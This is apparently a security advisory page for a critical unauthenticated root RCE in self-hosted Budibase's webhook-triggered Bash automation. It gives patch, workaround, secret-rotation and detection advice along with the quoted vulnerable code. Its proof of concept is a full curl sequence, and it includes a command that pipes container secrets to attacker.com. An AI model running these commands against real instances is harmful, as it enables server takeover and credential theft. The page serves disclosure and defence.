Any self-hosted Budibase instance with a Webhook+Bash automation containing template variables is fully compromised from the internet with zero credentials. Patch to v3.33.4 immediately; if patching is blocked, restrict /api/webhooks/trigger/* at the WAF/reverse-proxy layer and rotate all container secrets. This is a drop-everything vulnerability — root RCE with trivial exploitation and full credential exfiltration in a single curl command.
Risk Assessment
CVSS 9.1 Critical understates the operational risk: exploitation requires only a publicly accessible Budibase port and knowledge of an app ID and webhook ID, both semi-enumerable from the UI or leaked configs. No authentication, no user interaction, no special tooling — one curl command achieves root-level code execution and exfiltrates every secret in the container (JWT signing key, database passwords, MinIO keys, internal API key). The precondition (an admin-created webhook+bash automation with template variables) is a documented, encouraged workflow, making affected deployments likely widespread across production environments.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| @budibase/server | npm | < 3.33.4 | 3.33.4 |
Do you use @budibase/server? You're affected.
Severity & Risk
Recommended Action
- PATCH: Upgrade @budibase/server to >= 3.33.4 immediately — this is the only complete fix.
- WORKAROUND (if patch is blocked): Block or require authentication on /api/webhooks/trigger/* at the reverse proxy or WAF level; restrict to known IP ranges.
- AUDIT: Enumerate all automations with EXECUTE_BASH steps that reference webhook trigger field templates (e.g., {{ trigger.* }}); remove template variable substitution or disable the automation.
- ROTATE SECRETS: Assume JWT_SECRET, CouchDB credentials, Redis password, MinIO keys, and INTERNAL_API_KEY are compromised if exposure is possible. Rotate all immediately.
- DETECT: Alert on unexpected outbound connections from Budibase containers. Search container logs for execSync or bash step execution with external network calls. Review /api/webhooks/trigger/* access logs for anomalous POST requests.
- SCOPE: If containers run with --privileged or have sensitive host volume mounts, perform full host forensics — container escape is viable with root access.
Classification
Compliance Impact
This CVE is relevant to:
Technical Details
NVD Description
### Summary An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container. ### Details **Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:** ```typescript // this shouldn't have authorisation, right now its always public publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger) ``` The webhook trigger endpoint is registered on `publicRoutes` with **no authentication middleware**. Any unauthenticated HTTP client can POST to this endpoint. **Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:** ```typescript const command = processStringSync(inputs.code, context) stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString() ``` The Bash automation step uses Handlebars template processing (`processStringSync`) on `inputs.code`, substituting values from the webhook request body into the shell command string before passing it to `execSync()`. **Attack chain:** ``` HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH ↓ controller.trigger() [webhook.ts:90] ↓ triggers.externalTrigger() ↓ webhook fields flattened into automation context automation.steps[EXECUTE_BASH].run() [actions.ts:131] ↓ processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" }) ↓ execSync("ATTACKER_PAYLOAD") ← RCE AS ROOT ``` **Precondition:** An admin must have created and published an automation containing: 1. A Webhook trigger 2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`) This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks. **Note on EXECUTE_BASH availability:** The bash step is only registered when `SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments: ```typescript // packages/server/src/automations/actions.ts line 126-132 // don't add the bash script/definitions unless in self host if (env.SELF_HOSTED) { ACTION_IMPLS["EXECUTE_BASH"] = bash.run BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition } ``` **Webhook context flattening** (why `{{ trigger.cmd }}` works): In `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations the `params.fields` are spread directly into the trigger context: ```typescript // row actions and webhooks flatten the fields down else if (sdk.automations.isWebhookAction(automation)) { params = { ...params, ...params.fields, // { cmd: "PAYLOAD" } becomes top-level fields: {}, } } ``` This means a webhook body `{"cmd": "id"}` becomes accessible as `{{ trigger.cmd }}` in the bash step template. ### PoC #### Environment ``` Target: http://TARGET:10000 (any self-hosted Budibase instance) Tester: Any machine with curl Auth: Admin credentials required for SETUP PHASE only Zero auth required for EXPLOITATION PHASE ``` --- #### PHASE 1 — Admin Setup (performed once by legitimate admin) > **Note:** This phase represents normal Budibase usage. Any admin who creates > a webhook automation with a bash step using template variables creates this exposure. **Step 1 — Authenticate as admin:** ```bash curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{ "username": "admin@company.com", "password": "adminpassword" }' # Expected response: # {"message":"Login successful"} ``` **Step 2 — Create an application:** ```bash curl -b cookies.txt -X POST http://TARGET:10000/api/applications \ -H "Content-Type: application/json" \ -d '{ "name": "MyApp", "useTemplate": false, "url": "/myapp" }' # Note the appId from the response, e.g.: # "appId": "app_dev_c999265f6f984e3aa986788723984cd5" APP_ID="app_dev_c999265f6f984e3aa986788723984cd5" ``` **Step 3 — Create automation with Webhook trigger + Bash step:** ```bash curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d '{ "name": "WebhookBash", "type": "automation", "definition": { "trigger": { "id": "trigger_1", "name": "Webhook", "event": "app:webhook:trigger", "stepId": "WEBHOOK", "type": "TRIGGER", "icon": "paper-plane-right", "description": "Trigger an automation when a HTTP POST webhook is hit", "tagline": "Webhook endpoint is hit", "inputs": {}, "schema": { "inputs": { "properties": {} }, "outputs": { "properties": { "body": { "type": "object" } } } } }, "steps": [ { "id": "bash_step_1", "name": "Bash Scripting", "stepId": "EXECUTE_BASH", "type": "ACTION", "icon": "git-branch", "description": "Run a bash script", "tagline": "Execute a bash command", "inputs": { "code": "{{ trigger.cmd }}" }, "schema": { "inputs": { "properties": { "code": { "type": "string" } } }, "outputs": { "properties": { "stdout": { "type": "string" }, "success": { "type": "boolean" } } } } } ] } }' # Note the automation _id from response, e.g.: # "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... } AUTO_ID="au_b713759f83f64efda067e17b65545fce" ``` **Step 4 — Enable the automation** (new automations start as disabled): ```bash # Fetch full automation JSON AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \ -H "x-budibase-app-id: $APP_ID") # Set disabled: false and PUT it back UPDATED=$(echo "$AUTO" | python3 -c " import sys, json d = json.load(sys.stdin) d['disabled'] = False print(json.dumps(d)) ") curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "$UPDATED" ``` **Step 5 — Create webhook linked to the automation:** ```bash curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "{ \"name\": \"MyWebhook\", \"action\": { \"type\": \"automation\", \"target\": \"$AUTO_ID\" } }" # Note the webhook _id from response, e.g.: # "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... } WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" ``` **Step 6 — Publish the app to production:** ```bash curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \ -H "x-budibase-app-id: $APP_ID" # Expected: {"status":"SUCCESS","appUrl":"/myapp"} # Production App ID = strip "dev_" from dev ID: # app_dev_c999265f... → app_c999265f... PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" ``` --- #### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED) The attacker only needs the production `app_id` and `webhook_id`. These can be obtained via: - Enumeration of the Budibase web UI (app URLs are semi-public) - Leaked configuration files or environment variables - Insider knowledge or social engineering **Step 7 — Basic RCE — whoami/id:** ```bash PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" TARGET="http://TARGET:10000" # NO cookies. NO API key. NO auth headers. Pure unauthenticated request. curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"id"}' # HTTP Response (immediate): # {"message":"Webhook trigger fired successfully"} # Command executes asynchronously inside container as root. # Output confirmed via container inspection or exfiltration. ``` **Step 8 — Exfiltrate all secrets:** ```bash curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}' ``` Confirmed secrets leaked (no auth): ``` JWT_SECRET=testsecret API_ENCRYPTION_KEY=testsecret COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984 REDIS_PASSWORD=budibase REDIS_URL=redis-service:6379 MINIO_ACCESS_KEY=budibase MINIO_SECRET_KEY=budibase INTERNAL_API_KEY=budibase LITELLM_MASTER_KEY=budibase ``` ### Impact - **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow. - **What can an attacker do:** - Execute arbitrary OS commands as `root` inside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet - Establish reverse shells and persistent access - Read/write/delete all application data via CouchDB access - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user - Potentially escape the container if `--privileged` or volume mounts are used - **Authentication required:** **None** — completely unauthenticated - **User interaction required:** **None** - **Network access required:** Only access to port 10000 (the Budibase proxy port) Discovered By: Abdulrahman Albatel Abdullah Alrasheed
Exploitation Scenario
An attacker scans for Budibase instances (port 10000 commonly exposed on internal networks or through misconfigured firewalls). They identify a target via Shodan, leaked infrastructure docs, or internal network enumeration. App IDs appear in the web UI URL scheme; webhook IDs can be guessed, brute-forced, or obtained via social engineering. Without any credentials, the attacker POSTs {"cmd":"env | grep -E 'JWT|SECRET|PASSWORD|KEY' | curl -s -X POST https://attacker.com/collect -d @-"} to /api/webhooks/trigger/{appId}/{webhookId}, instantly receiving every container secret. With JWT_SECRET in hand, they forge admin tokens, exfiltrate all application data from CouchDB, and establish a reverse shell for persistent access — all before a SOC alert fires.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H References
- github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256
- github.com/Budibase/budibase/pull/18238
- github.com/Budibase/budibase/releases/tag/3.33.4
- github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf
- github.com/advisories/GHSA-fcm4-4pj2-m5hf
- nvd.nist.gov/vuln/detail/CVE-2026-35216
Timeline
Related Vulnerabilities
CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Data Extraction CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Code Execution CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Data Extraction CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Data Extraction CVE-2024-2912 10.0 BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Code ExecutionWeekly CISO Take + top threats
Get the week's most critical AI security threats delivered weekly. Free, no spam.
AI Threat Alert